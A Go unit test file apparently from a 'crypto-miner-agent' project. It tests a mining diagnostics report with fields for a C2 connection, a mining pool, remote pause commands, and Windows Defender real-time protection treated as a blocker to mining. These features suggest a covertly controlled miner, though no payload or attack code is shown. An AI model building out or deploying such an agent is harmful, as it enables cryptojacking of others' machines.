package client import ( "encoding/json" "strings" "testing" "crypto-miner-agent/config" "crypto-miner-agent/miner" "crypto-miner-agent/stats" ) func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient { t.Helper() c := NewAgentClient(cfg) c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil) return c } func TestMiningDiagnosticsJSONShape(t *testing.T) { miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"} }) defer miner.SetRuntimeDetector(nil) miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) defer miner.SetWSLDetector(nil) SetPostureCollector(func() *PostureReport { return nil }) defer SetPostureCollector(nil) cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: miner.ExecutionAuto, PoolHost: "pool.example.com", PoolPort: 3333, MiningMode: "always", }, } c := testDiagnosticsClient(t, cfg) c.connected.Store(true) raw := c.miningDiagnosticsJSON() var doc map[string]interface{} if err := json.Unmarshal([]byte(raw), &doc); err != nil { t.Fatalf("invalid JSON: %v\n%s", err, raw) } for _, key := range []string{ "generated_at", "platform", "configured_execution", "execution_mode", "container_runtime_available", "c2_connected", "mining_mode", "pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu", } { if _, ok := doc[key]; !ok { t.Fatalf("missing key %q in diagnostics JSON", key) } } blockers, ok := doc["likely_blockers"].([]interface{}) if !ok { t.Fatalf("likely_blockers type = %T", doc["likely_blockers"]) } if len(blockers) == 0 { t.Fatal("expected at least one likely_blocker for idle agent with no job") } } func TestInferMiningBlockersRemotePause(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{}) c.pool.PauseRemote() d := c.collectMiningDiagnostics() found := false for _, b := range d.LikelyBlockers { if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") { found = true break } } if !found { t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers) } } func TestInferMiningBlockersChainExhausted(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{}) d := MiningDiagnostics{C2Connected: true, ChainExhausted: true} blockers := c.inferMiningBlockers(d) found := false for _, b := range blockers { if strings.Contains(b, "fallback chain exhausted") { found = true } } if !found { t.Fatalf("got %v", blockers) } } func TestInferMiningBlockersDefenderRTP(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{}) rtp := true d := MiningDiagnostics{ C2Connected: true, Defender: &struct { Enabled *bool `json:"enabled,omitempty"` RTP *bool `json:"rtp,omitempty"` Products []string `json:"products,omitempty"` }{RTP: &rtp}, } blockers := c.inferMiningBlockers(d) found := false for _, b := range blockers { if strings.Contains(b, "Defender real-time protection") { found = true } } if !found { t.Fatalf("got %v", blockers) } } func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{}) d := MiningDiagnostics{ ExecutionMode: miner.ExecutionContainer, ContainerAvailable: false, } blockers := c.inferMiningBlockers(d) found := false for _, b := range blockers { if strings.Contains(b, "Docker/Podman not detected") { found = true } } if !found { t.Fatalf("expected container runtime blocker, got %v", blockers) } } func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) { miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"} }) defer miner.SetRuntimeDetector(nil) miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} }) defer miner.SetWSLDetector(nil) SetPostureCollector(func() *PostureReport { return nil }) defer SetPostureCollector(nil) cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ MinerExecution: miner.ExecutionAuto, PoolHost: "pool.example.com", }, } c := testDiagnosticsClient(t, cfg) d := c.collectMiningDiagnostics() if len(d.TierChainOrder) == 0 { t.Fatalf("expected tier_chain_order, got %+v", d) } if d.TierChainOrder[0] == "" { t.Fatalf("empty tier id in chain: %v", d.TierChainOrder) } raw := c.miningDiagnosticsJSON() var doc map[string]interface{} if err := json.Unmarshal([]byte(raw), &doc); err != nil { t.Fatal(err) } for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} { if _, ok := doc[key]; !ok { t.Fatalf("missing key %q in diagnostics JSON", key) } } } func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{GPUEnabled: true}, }) d := MiningDiagnostics{ GPU: struct { Enabled bool `json:"enabled"` Active bool `json:"active"` Paused bool `json:"paused"` Model string `json:"model,omitempty"` }{Enabled: true, Active: false, Paused: false}, } blockers := c.inferMiningBlockers(d) found := false for _, b := range blockers { if strings.Contains(b, "GPU mining configured but subprocess inactive") { found = true } } if !found { t.Fatalf("expected GPU inactive blocker, got %v", blockers) } }